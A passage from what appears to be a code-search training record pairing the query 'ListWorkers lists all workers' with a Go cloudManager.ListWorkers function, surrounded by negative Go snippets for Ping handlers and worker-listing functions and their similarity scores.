{\n\t\t\t\tc.err = nil\n\t\t\t}\n\t\t}\n\t\ttime.Sleep(pingDuration)\n\t}\n\nclosed:\n\tif c.Client != nil {\n\t\tc.Client.Close()\n\t}\n}", "func (c *Client) Ping() (string, error) {\n\tresp, err := c.Get(c.Endpoint + \"/ping\")\n\n\tif err != nil {\n\t\tfmt.Println(\"[RIAK DEBUG] \" + err.Error())\n\t\treturn \"Ping Error!\", err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\n\tif debug {\n\t\tfmt.Println(\"[RIAK DEBUG] GET: \" + c.Endpoint + \"/ping => \" + string(body))\n\t}\n\treturn string(body), nil\n}", "func (c Client) Ping(ctx context.Context, url string) (string, error) {\n\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, url+pingPath, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\thttpClient := c.Client\n\tif httpClient == nil {\n\t\thttpClient = &http.Client{}\n\t}\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn \"\", ErrPingFailure\n\t}\n\n\tvar jsonResp struct {\n\t\tSuccess bool\n\t\tEZID string\n\t}\n\n\terr = json.NewDecoder(resp.Body).Decode(&jsonResp)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif !jsonResp.Success {\n\t\treturn \"\", ErrPingFailure\n\t}\n\n\treturn jsonResp.EZID, nil\n}", "func (m *MSSQLDatastore) Ping(ctx context.Context) error {\n\tif m == nil {\n\t\treturn ErrEmptyObject\n\t}\n\n\t// This will choose the default recorder chosen during setup. If metrics.MetricsRecorder is never changed,\n\t// this will default to the noop recorder.\n\tr := metrics.GetRecorder(ctx)\n\n\tif _, ok := ctx.Deadline(); !ok {\n\t\tvar cancel context.CancelFunc\n\t\tctx, cancel = context.WithTimeout(ctx, QueryLimit)\n\t\tdefer cancel()\n\t}\n\n\tvar result []string\n\tend := r.DatabaseSegment(\"mssql\", \"select getdate()\")\n\trows, err := m.db.QueryContext(ctx, \"select getdate()\")\n\tend()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer rows.Close()\n\tUnmarshal(rows, &result)\n\n\tif len(result) < 1 {\n\t\treturn errors.New(\"Ping Failed\")\n\t}\n\n\treturn err\n}", "func Ping(ctx context.Context) {\n\tctx, cancel := context.WithTimeout(ctx, 1*time.Second)\n\tdefer cancel()\n\n\tif err := pool.PingContext(ctx); err != nil {\n\t\tlog.Fatalf(\"unable to connect to database: %v\", err)\n\t}\n}", "func (client *TestClient) Ping() (pong string, err error) {\n\tif client.OK {\n\t\treturn \"pong\", nil\n\t}\n\treturn \"\", errors.New(\"Ping failed\")\n}", "func (t *Transport) Ping(ctx context.Context, token string) error {\n\tscheme := \"http\"\n\tif t.sslEnabled {\n\t\tscheme = \"https\"\n\t}\n\n\t// Make a http request\n\tr, err := http.NewRequestWithContext(ctx, http.MethodGet, fmt.Sprintf(\"%s://%s/v1/config/env\", scheme, t.addr), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Add appropriate headers\n\tr.Header.Add(\"Authorization\", \"Bearer \"+token)\n\tr.Header.Add(\"Content-Type\", contentTypeJSON)\n\n\t// Fire the request\n\tres, err := t.httpClient.Do(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer utils.CloseTheCloser(res.Body)\n\n\tif res.StatusCode >= 200 && res.StatusCode < 300 {\n\t\treturn nil\n\t}\n\n\t// Unmarshal the response\n\tresult := types.M{}\n\tif err := json.NewDecoder(res.Body).Decode(&result); err != nil {\n\t\treturn err\n\t}\n\n\treturn fmt.Errorf(\"Service responde with status code (%v) with error message - (%v) \", res.StatusCode, result[\"error\"].(string))\n}", "func (database *Database) Ping() error {\n\treturn database.PingContext(context.Background())\n}", "func (p PingService) Ping(ctx context.Context, logger zerolog.Logger) PingResponse {\n\tdbok := true\n\terr := p.Pinger.PingDB(ctx)\n\tif err != nil {\n\t\tpingErr := errors.WithStack(err)\n\t\t// if error from PingDB, log the error, set dbok to false\n\t\tlogger.Error().Stack().Err(pingErr).Msg(\"PingDB error\")\n\t\tdbok = false\n\t}\n\n\tresponse := PingResponse{DBUp: dbok}\n\n\treturn response\n}", "func (s *Service) Ping(ctx context.Context, e *empty.Empty) (*empty.Empty, error) {\n\treturn &empty.Empty{}, nil\n}", "func (ng Ngrok) Ping() error {\n\tresp, err := http.Get(fmt.Sprintf(\"http://%s:%d/api/tunnels\", ng.host, ng.port))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode == 200 {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"unknown error\")\n}", "func (this *PreferenceController) Ping(writer http.ResponseWriter, request *http.Request) *result.WebResult {\n\n\treturn this.Success(core.VERSION)\n\n}", "func (this *PreferenceController) Ping(writer http.ResponseWriter, request *http.Request) *result.WebResult {\n\n\treturn this.Success(core.VERSION)\n\n}", "func (p *APIPingProbe) PingAPI() {\n\terr := p.Client.PingAPI()\n\tif err != nil {\n\t\tp.Client.LogError(\"failed to ping api - %s\", err.Error())\n\t}\n}", "func (MainController) Ping(c *gin.Context) {\n\tc.JSON(200, gin.H{\n\t\t\"message\": \"ashwat watches fifty shades of grey\",\n\t})\n}", "func (d *Dao) Ping(c context.Context) (err error) {\n\treturn\n}", "func (c *Cluster) Ping(ping *ClusterPing, unused *bool) error {\n\tselect {\n\tcase c.fo.leaderPing <- ping:\n\tdefault:\n\t}\n\treturn nil\n}", "func (s *Status) Ping(args struct{}, reply *struct{}) error {\n\treturn nil\n}", "func (b *Bucket) Ping(opts *PingOptions) (*PingResult, error) {\n\tif opts == nil {\n\t\topts = &PingOptions{}\n\t}\n\n\tprovider, err := b.connectionManager.getDiagnosticsProvider(b.bucketName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tservices := opts.ServiceTypes\n\tif services == nil {\n\t\tservices = []ServiceType{\n\t\t\tServiceTypeKeyValue,\n\t\t\tServiceTypeViews,\n\t\t\tServiceTypeQuery,\n\t\t\tServiceTypeSearch,\n\t\t\tServiceTypeAnalytics,\n\t\t}\n\t}\n\n\tgocbcoreServices := make([]gocbcore.ServiceType, len(services))\n\tfor i, svc := range services {\n\t\tgocbcoreServices[i] = gocbcore.ServiceType(svc)\n\t}\n\n\tcoreopts := gocbcore.PingOptions{\n\t\tServiceTypes: gocbcoreServices,\n\t}\n\tnow := time.Now()\n\ttimeout := opts.Timeout\n\tif timeout == 0 {\n\t\tcoreopts.KVDeadline = now.Add(b.timeoutsConfig.KVTimeout)\n\t\tcoreopts.CapiDeadline = now.Add(b.timeoutsConfig.ViewTimeout)\n\t\tcoreopts.N1QLDeadline = now.Add(b.timeoutsConfig.QueryTimeout)\n\t\tcoreopts.CbasDeadline = now.Add(b.timeoutsConfig.AnalyticsTimeout)\n\t\tcoreopts.FtsDeadline = now.Add(b.timeoutsConfig.SearchTimeout)\n\t} else {\n\t\tcoreopts.KVDeadline = now.Add(timeout)\n\t\tcoreopts.CapiDeadline = now.Add(timeout)\n\t\tcoreopts.N1QLDeadline = now.Add(timeout)\n\t\tcoreopts.CbasDeadline = now.Add(timeout)\n\t\tcoreopts.FtsDeadline = now.Add(timeout)\n\t}\n\n\tid := opts.ReportID\n\tif id == \"\" {\n\t\tid = uuid.New().String()\n\t}\n\n\tresult, err := provider.Ping(coreopts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treportSvcs := make(map[ServiceType][]EndpointPingReport)\n\tfor svcType, svc := range result.Services {\n\t\tst := ServiceType(svcType)\n\n\t\tsvcs := make([]EndpointPingReport, len(svc))\n\t\tfor i, rep := range svc {\n\t\t\tvar errStr string\n\t\t\tif rep.Error != nil {\n\t\t\t\terrStr = rep.Error.Error()\n\t\t\t}\n\t\t\tsvcs[i] = EndpointPingReport{\n\t\t\t\tID: rep.ID,\n\t\t\t\tRemote: rep.Endpoint,\n\t\t\t\tState: PingState(rep.State),\n\t\t\t\tError: errStr,\n\t\t\t\tNamespace: rep.Scope,\n\t\t\t\tLatency: rep.Latency,\n\t\t\t}\n\t\t}\n\n\t\treportSvcs[st] = svcs\n\t}\n\n\treturn &PingResult{\n\t\tID: id,\n\t\tsdk: Identifier() + \" \" + \"gocbcore/\" + gocbcore.Version(),\n\t\tServices: reportSvcs,\n\t}, nil\n}", "func (s *Server) Ping(ctx context.Context, ping *pingpong.PingRequest) (*pingpong.PongResponse, error) {\n\treturn &pingpong.PongResponse{\n\t\tOk: true,\n\t}, nil\n}", "func (c *Control) Ping(ctx context.Context) (time.Duration, error) {\n\tstart := time.Now()\n\n\tif _, err := c.conn.Write([]byte{byte(PingType)}); err != nil {\n\t\treturn 0, err\n\t}\n\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn 0, ctx.Err()\n\n\tcase t, ok := <-c.pongCh:\n\t\tif !ok {\n\t\t\treturn 0, c.err\n\t\t}\n\t\treturn t.Sub(start), nil\n\t}\n}", "func (sc *ServerConn) Ping(ctx context.Context) error {\n\treturn sc.Request(ctx, \"server.ping\", nil, nil)\n}", "func Ping(c *gin.Context) {\n\tctx := c.GetStringMap(\"context\")\n\tc.HTML(http.StatusOK, \"ping.gohtml\", ctx)\n}", "func (s *Server) Ping(ctx context.Context, _ *yages.Empty) (*yages.Content, error) {\n\treturn &yages.Content{Text: \"pong\"}, nil\n}", "func (c InfluxDBClient) Ping() error {\n\tlog.Printf(\"Ping InfluxDB\")\n\t_, _, err := c.influxHTTPClient.Ping(0)\n\treturn err\n}", "func Ping(){\n\tif err := db.Ping(); err != nil {\n\t\tpanic(err)\n\t}\n}", "func (m *MongoDB) Ping() error {\n\treturn m.client.Ping(m.ctx, nil)\n}", "func (c *sqlmock) Ping(ctx context.Context) error {\n\tif !c.monitorPings {\n\t\treturn nil\n\t}\n\n\tex, err := c.ping()\n\tif ex != nil {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn ErrCancelled\n\t\tcase <-time.After(ex.delay):\n\t\t}\n\t}\n\n\treturn err\n}" ]
[ "0.75410986", "0.64162904", "0.64137214", "0.6380477", "0.63345695", "0.6272254", "0.61578655", "0.6141015", "0.61374366", "0.6125822", "0.61245215", "0.6115694", "0.6099986", "0.6089753", "0.60880244", "0.6048584", "0.60376966", "0.6032353", "0.6032326", "0.60194355", "0.598847", "0.59552467", "0.5953779", "0.59231657", "0.58995855", "0.58987886", "0.5882848", "0.58596456", "0.5839353", "0.58212954", "0.58212954", "0.58061296", "0.5804309", "0.5802215", "0.5801934", "0.5789969", "0.57782555", "0.5771254", "0.5770964", "0.5765036", "0.5765036", "0.57534254", "0.57511145", "0.57395154", "0.5739194", "0.5728021", "0.5717385", "0.5703423", "0.56997424", "0.5690659", "0.5690659", "0.5664617", "0.5644218", "0.56416154", "0.56327873", "0.56167006", "0.5603323", "0.5595919", "0.5586454", "0.5576647", "0.55759794", "0.55745435", "0.55693656", "0.5551268", "0.5539564", "0.5537954", "0.5533943", "0.55301934", "0.5524279", "0.55201906", "0.55179954", "0.5516835", "0.5515843", "0.5514609", "0.5506229", "0.5490673", "0.548299", "0.54821473", "0.54694146", "0.5467129", "0.5460944", "0.546043", "0.54536885", "0.5453504", "0.5453504", "0.544735", "0.54464793", "0.5436885", "0.54278225", "0.5427439", "0.54122436", "0.5407075", "0.54066426", "0.54059225", "0.54053974", "0.5397188", "0.5384333", "0.5380807", "0.53762287", "0.5361563" ]
0.75496507
0
ListWorkers lists all workers.
func (m *cloudManager) ListWorkers(name string, extendInfo string) ([]api.WorkerInstance, error) { c, err := m.ds.FindCloudByName(name) if err != nil { return nil, httperror.ErrorContentNotFound.Format(name) } if c.Type == api.CloudTypeKubernetes && extendInfo == "" { err := fmt.Errorf("query parameter namespace can not be empty because cloud type is %v.", api.CloudTypeKubernetes) return nil, err } if c.Kubernetes != nil { if c.Kubernetes.InCluster { // default cluster, get default namespace. c.Kubernetes.Namespace = cloud.DefaultNamespace } else { c.Kubernetes.Namespace = extendInfo } } cp, err := cloud.NewCloudProvider(c) if err != nil { return nil, httperror.ErrorUnknownInternal.Format(err) } return cp.ListWorkers() }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (db *Postgres) ListWorkers() ([]Worker, error) {\n\tvar workers []Worker\n\n\trows, err := db.db.Query(`SELECT id, queue, max_job_count, attributes FROM junction.workers`)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar worker Worker\n\t\tvar attributes hstore.Hstore\n\t\terr := rows.Scan(&worker.ID, &worker.Queue, &worker.MaxJobCount, &attributes)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tworker.Attributes = make(map[string]string)\n\t\tif attributes.Map != nil {\n\t\t\tfor key, value := range attributes.Map {\n\t\t\t\tif value.Valid {\n\t\t\t\t\tworker.Attributes[key] = value.String\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tworkers = append(workers, worker)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn workers, nil\n}", "func listWorker(ctx context.Context) {\n\tdefer utils.Recover()\n\n\tfor j := range jc {\n\t\tlogrus.Infof(\"Start listing job %s.\", j.Path)\n\n\t\terr := listJob(ctx, j)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tlogrus.Infof(\"Job %s listed.\", j.Path)\n\t}\n}", "func (md *ManagementNode) GetWorkerList(ctx context.Context, req *pb.DummyReq) (*pb.WorkerNodeList, error) {\n\n\tlog.Info(\"GetWorkerList\")\n\t// for now it gets all recorded workers\n\topts := []clientv3.OpOption{\n\t\tclientv3.WithPrefix(),\n\t}\n\n\teCtx, cancel := context.WithTimeout(ctx,\n\t\tmd.cfg.EtcdDialTimeout)\n\tgr, err := md.etcd.Get(eCtx, EtcdWorkerPrefix, opts...)\n\tcancel()\n\tif err != nil {\n\t\tcommon.PrintDebugErr(err)\n\t\treturn nil, err\n\t}\n\n\twnl := pb.WorkerNodeList{}\n\n\tfor _, item := range gr.Kvs {\n\t\tvar wn wrpc.WorkerRPCClient\n\t\terr := json.Unmarshal([]byte(item.Value), &wn)\n\t\tif err != nil {\n\t\t\tcommon.PrintDebugErr(err)\n\t\t\treturn nil, err\n\t\t}\n\t\twnl.Nodes = append(wnl.Nodes, wn.WN)\n\t}\n\n\treturn &wnl, nil\n}", "func (bq *InMemoryBuildQueue) ListWorkers(ctx context.Context, request *buildqueuestate.ListWorkersRequest) (*buildqueuestate.ListWorkersResponse, error) {\n\tsizeClassKey, err := newSizeClassKeyFromName(request.SizeClassQueueName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar startAfterWorkerKey *string\n\tif startAfter := request.StartAfter; startAfter != nil {\n\t\tworkerKey := string(newWorkerKey(startAfter.WorkerId))\n\t\tstartAfterWorkerKey = &workerKey\n\t}\n\n\tbq.enter(bq.clock.Now())\n\tdefer bq.leave()\n\n\tscq, ok := bq.sizeClassQueues[sizeClassKey]\n\tif !ok {\n\t\treturn nil, status.Error(codes.NotFound, \"No workers for this instance name, platform and size class exist\")\n\t}\n\n\t// Obtain IDs of all workers in sorted order.\n\tvar keyList []string\n\tfor workerKey, w := range scq.workers {\n\t\tif !request.JustExecutingWorkers || w.currentTask != nil {\n\t\t\tkeyList = append(keyList, string(workerKey))\n\t\t}\n\t}\n\tsort.Strings(keyList)\n\tpaginationInfo, endIndex := getPaginationInfo(len(keyList), request.PageSize, func(i int) bool {\n\t\treturn startAfterWorkerKey == nil || keyList[i] > *startAfterWorkerKey\n\t})\n\n\t// Extract status.\n\tkeyListRegion := keyList[paginationInfo.StartIndex:endIndex]\n\tworkers := make([]*buildqueuestate.WorkerState, 0, len(keyListRegion))\n\tfor _, key := range keyListRegion {\n\t\tworkerKey := workerKey(key)\n\t\tw := scq.workers[workerKey]\n\t\tvar currentOperation *buildqueuestate.OperationState\n\t\tif t := w.currentTask; t != nil {\n\t\t\t// A task may have more than one operation\n\t\t\t// associated with it, in case deduplication of\n\t\t\t// in-flight requests occurred. For the time\n\t\t\t// being, let's not expose the concept of tasks\n\t\t\t// through the web UI yet. Just show one of the\n\t\t\t// operations.\n\t\t\t//\n\t\t\t// Do make this deterministic by picking the\n\t\t\t// operation with the lowest name,\n\t\t\t// alphabetically.\n\t\t\tvar o *operation\n\t\t\tfor _, oCheck := range t.operations {\n\t\t\t\tif o == nil || o.name > oCheck.name {\n\t\t\t\t\to = oCheck\n\t\t\t\t}\n\t\t\t}\n\t\t\tcurrentOperation = o.getOperationState(bq)\n\t\t\tcurrentOperation.SizeClassQueueName = nil\n\t\t\tcurrentOperation.Stage = nil\n\t\t}\n\t\tworkerID := workerKey.getWorkerID()\n\t\tworkers = append(workers, &buildqueuestate.WorkerState{\n\t\t\tId: workerID,\n\t\t\tTimeout: bq.cleanupQueue.getTimestamp(w.cleanupKey),\n\t\t\tCurrentOperation: currentOperation,\n\t\t\tDrained: w.isDrained(scq, workerID),\n\t\t})\n\t}\n\treturn &buildqueuestate.ListWorkersResponse{\n\t\tWorkers: workers,\n\t\tPaginationInfo: paginationInfo,\n\t}, nil\n}", "func (gores *Gores) Workers() []string {\n\tconn := gores.pool.Get()\n\tdefer conn.Close()\n\n\tdata, err := conn.Do(\"SMEMBERS\", watchedWorkers)\n\tif data == nil || err != nil {\n\t\treturn nil\n\t}\n\n\tworkers := make([]string, len(data.([]interface{})))\n\tfor i, w := range data.([]interface{}) {\n\t\tworkers[i] = string(w.([]byte))\n\t}\n\n\treturn workers\n}", "func (s *Backend) getWorkers() []*pbf.Worker {\n\n\t// Get the workers from the funnel server\n\tworkers := []*pbf.Worker{}\n\treq := &pbf.ListWorkersRequest{}\n\tresp, err := s.client.ListWorkers(context.Background(), req)\n\n\t// If there's an error, return an empty list\n\tif err != nil {\n\t\tlog.Error(\"Failed ListWorkers request. Recovering.\", err)\n\t\treturn workers\n\t}\n\n\tworkers = resp.Workers\n\n\t// Include unprovisioned (template) workers.\n\t// This is how the scheduler can schedule tasks to workers that\n\t// haven't been started yet.\n\tfor _, t := range s.gce.Templates() {\n\t\tt.Id = scheduler.GenWorkerID(\"funnel\")\n\t\tworkers = append(workers, &t)\n\t}\n\n\treturn workers\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n l := list.New()\n for _, w := range mr.Workers {\n DPrintf(\"DoWork: shutdown %s\\n\", w.address)\n args := &ShutdownArgs{}\n var reply ShutdownReply;\n ok := call(w.address, \"Worker.Shutdown\", args, &reply)\n if ok == false {\n fmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n } else {\n l.PushBack(reply.Njobs)\n }\n }\n return l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n l := list.New()\n for _, w := range mr.Workers {\n DPrintf(\"DoWork: shutdown %s\\n\", w.address)\n args := &ShutdownArgs{}\n var reply ShutdownReply;\n ok := call(w.address, \"Worker.Shutdown\", args, &reply)\n if ok == false {\n fmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n } else {\n l.PushBack(reply.Njobs)\n }\n }\n return l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n l := list.New()\n for _, w := range mr.Workers {\n DPrintf(\"DoWork: shutdown %s\\n\", w.address)\n args := &ShutdownArgs{}\n var reply ShutdownReply;\n ok := call(w.address, \"Worker.Shutdown\", args, &reply)\n if ok == false {\n fmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n } else {\n l.PushBack(reply.Njobs)\n }\n }\n return l\n}", "func (p *localWorkerPool) GetAllWorkers() []api.LocalWorker {\n\tp.mutex.RLock()\n\tdefer p.mutex.RUnlock()\n\n\tresult := make([]api.LocalWorker, 0, len(p.workers))\n\tfor _, entry := range p.workers {\n\t\tresult = append(result, entry.LocalWorker)\n\t}\n\tsort.Slice(result, func(i, j int) bool {\n\t\treturn result[i].Id < result[j].Id\n\t})\n\treturn result\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.Address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.Address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.Address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (mr *MapReduce) KillWorkers() *list.List {\n\tl := list.New()\n\tfor _, w := range mr.Workers {\n\t\tDPrintf(\"DoWork: shutdown %s\\n\", w.address)\n\t\targs := &ShutdownArgs{}\n\t\tvar reply ShutdownReply\n\t\tok := call(w.address, \"Worker.Shutdown\", args, &reply)\n\t\tif ok == false {\n\t\t\tfmt.Printf(\"DoWork: RPC %s shutdown error\\n\", w.address)\n\t\t} else {\n\t\t\tl.PushBack(reply.Njobs)\n\t\t}\n\t}\n\treturn l\n}", "func (a *App) GetWorkers() map[string]*Worker {\n\ta.scheduler.mu.Lock()\n\tdefer a.scheduler.mu.Unlock()\n\treturn a.scheduler.workers\n}", "func (wp *WorkerPool) SetWorkers(wrks []Worker){\n\twp.workerList = wrks\n}", "func GetWorkers(token string) ([]*Worker, error) {\n\t// declarations\n\tvar workers []*Worker\n\trows, err := db.Query(\"SELECT * FROM workers \"+\n\t\t\"WHERE uid = (SELECT id FROM users WHERE token = $1)\", token)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// fetch workers\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tworker := Worker{}\n\n\t\terr := rows.Scan(&worker.Id, &worker.Uid, &worker.Token, &worker.Name,\n\t\t\t&worker.Last_contact, &worker.Active, &worker.Shared)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tworkers = append(workers, &worker)\n\t}\n\n\treturn workers, nil\n}", "func (client *NginxClient) GetWorkers() ([]*Workers, error) {\n\tvar workers []*Workers\n\tif client.version < 9 {\n\t\treturn workers, nil\n\t}\n\terr := client.get(\"workers\", &workers)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get workers: %w\", err)\n\t}\n\treturn workers, nil\n}", "func (c *Config) Workers() ReplicaList {\n\treturn c.workers\n}", "func (s *clusterServer) Workers() []*pb.MWorkerDescriptor {\n\tresult := make([]*pb.MWorkerDescriptor, 0)\n\ts.workers.Range(func(_, v interface{}) bool {\n\t\tw := v.(*pb.MWorkerDescriptor)\n\t\tresult = append(result, w)\n\t\treturn true\n\t})\n\treturn result\n}", "func (w *workerpool) ListWorkerPools(clusterNameOrID string, target ClusterTargetHeader) ([]GetWorkerPoolResponse, error) {\n\tsuccessV := []GetWorkerPoolResponse{}\n\t_, err := w.client.Get(fmt.Sprintf(\"/v2/vpc/getWorkerPools?cluster=%s\", clusterNameOrID), &successV, target.ToMap())\n\treturn successV, err\n}", "func getWorkers(c *gin.Context) {\n\tdata := []byte(WorkersResp)\n\n\tvar body []library.Worker\n\t_ = json.Unmarshal(data, &body)\n\n\tc.JSON(http.StatusOK, body)\n}", "func WorkersAll() []Worker {\n\treturn []Worker{\n\t\tNewBlockonomics(),\n\t\tNewBlockcypher(),\n\t}\n}", "func GetDMWorkers(fw portforward.PortForward, ns, masterSvcName string) ([]*dmapi.WorkersInfo, error) {\n\tapiPath := \"/apis/v1alpha1/members?worker=true\"\n\tlocalHost, localPort, cancel, err := portforward.ForwardOnePort(\n\t\tfw, ns, fmt.Sprintf(\"svc/%s\", masterSvcName), dmMasterSvcPort)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer cancel()\n\n\tbody, err := httputil.GetBodyOK(&http.Client{Transport: &http.Transport{}},\n\t\tfmt.Sprintf(\"http://%s:%d%s\", localHost, localPort, apiPath))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar resp dmapi.WorkerResp\n\tif err = json.Unmarshal(body, &resp); err != nil {\n\t\treturn nil, err\n\t} else if !resp.Result {\n\t\treturn nil, fmt.Errorf(\"unable to list workers info, err: %s\", resp.Msg)\n\t} else if len(resp.ListMemberResp) != 1 {\n\t\treturn nil, fmt.Errorf(\"invalid list workers resp: %s\", body)\n\t}\n\treturn resp.ListMemberResp[0].Workers, nil\n}", "func (d *Database) GetWorkers() 